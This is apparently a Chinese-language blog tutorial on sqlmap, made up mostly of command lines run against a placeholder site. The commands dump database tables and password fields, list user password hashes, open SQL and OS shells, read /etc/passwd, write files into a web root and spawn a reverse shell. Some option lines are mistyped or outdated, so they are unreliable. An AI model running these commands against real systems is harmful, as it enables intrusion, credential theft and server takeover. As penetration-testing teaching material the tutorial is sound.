­

SQL注入攻击之sqlmap

SQL注入攻击之sqlmap

cn0sec 2020-02-27

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,现在支持python3了。

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

SQLmap语法

SQLmap命令选项被归类为`目标(Target)选项`、`请求(Request)选项`、`优化`、`注入`、`检测`、`技巧(Techniques)`、`指纹`、`枚举`等。  

具体使用sqlmap -h详细查看。

sqlmap支持五种不同的注入模式:

l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

l 联合查询注入,可以使用union的情况下的注入;

l 堆查询注入,可以同时执行多条语句的执行时的注入。

SQL注入的分类可以看SQL注入的分类 –cn0sec.cn

安装方法

(1)linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev  

(2)windows下安装

windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python 2.x或者3.x环境支持。

(3)kali及PentestBox默认安装sqlmap

注入方法

一、Sqlmap注入篇

具体可以用"sqlmap -h"查看完整的命令帮助文档;

1、检查注入点

sqlmap -u http://xxx.com/1.php?id=11  

2、爆所有数据库信息

sqlmap -u http://xxx.com/1.php?id=11 --dbs  

爆当前数据库信息

sqlmap -u http://xxx.com/1.php?id=11 --current-db  

3、列出指定数据库所有的表名

sqlmap -u http://xxx.com/1.php?id=11 -D a --tables  'a' 为指定数据库名称  

4、列出指定表名的所有列名

sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin --columns  'admin' 为指定表名称  

5、输出表名指定列名字段的值数据

sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin -C name,password --dump  'name,password' 为指定字段名称  

二、Sqlmap用户权限篇

1、列出数据库管理系统用户:

sqlmap -u http://xxx.com/1.php?id=11 --users  

查看当前连接数据库用户:

sqlmap -u http://xxx.com/1.php?id=11 --current-user  

查看数据库用户所有密码:

sqlmap -u http://xxx.com/1.php?id=11 --passwords  

2、判断当前用户是否是DBA?

sqlmap -u http://xxx.com/1.php?id=11 --is-dba  

3、查看用户权限:

sqlmap -u http://xxx.com/1.php?id=11 --privileges  sqlmap -u http://xxx.com/1.php?id=11 --privileges -U  

三、Sqlmap文件操作与shell提权篇

1、sql shell

通过sqlmap可以直接获取一个sql shell,直接执行sql语句进行交互。

sqlmap -u http://xxx.com/1.php?id=11 --sql-shell  sql-shell> select version();  

注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;

2、cmd shell

这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。

sqlmap -u http://xxx.com/1.php?id=11 --os-shell  sqlmap -u http://xxx.com/1.php?id=11 --os-cmd=ipconfig  

注意:需要权限很大跟物理路径,要是不知道物理路径,可以用sqlmap枚举。

3、读取服务器上指定文件

sqlmap -u http://xxx.com/1.php?id=11 --file-read=/etc/passwd  sqlmap -u http://xxx.com/1.php?id=11 --file-read=d:/test.txt    

4、写入本地文件到服务器上

sqlmap -u http://xxx.com/1.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt  

其他

是否支持union 注入

 sqlmap -u http://xxx.com/1.php?id=11 --union-check  

采用union 注入

sqlmap -u http://xxx.com/1.php?id=11 --union-use  

union配合order by

sqlmap -u http://xxx.com/1.php?id=11 –union-tech orderby  

保存注入过程到一个文件,还可中断,下次恢复在注入

 sqlmap -u http://xxx.com/1.php?id=11 -S 保存:-s “xx.log”  恢复:-s “xx.log” –resume)  

指定可测试的参数

 sqlmap -u http://xxx.com/?page=1&id=2 -p “page,id”  

显示注入详细的等级(0-6)

 sqlmap -u http://xxx.com/1.phpid=11 -v  0:只显示Python的回溯,错误和关键消息。  1:显示信息和警告消息。  2:显示调试消息。  3:有效载荷注入。  4:显示HTTP请求。  5:显示HTTP响应头。  6:显示HTTP响应页面的内容  

采用多线程

sqlmap -u http://xxx.com/1.php?id=11 --threads 3  

反弹shell

sqlmap -u http://xxx.com/1.php?id=11 --os-pwn (–os-pwn –msf-path=/opt/framework/msf3/)  

基本sqlmap用法,下一篇我们学习下cookie注入和post注入, 伪静态注入等等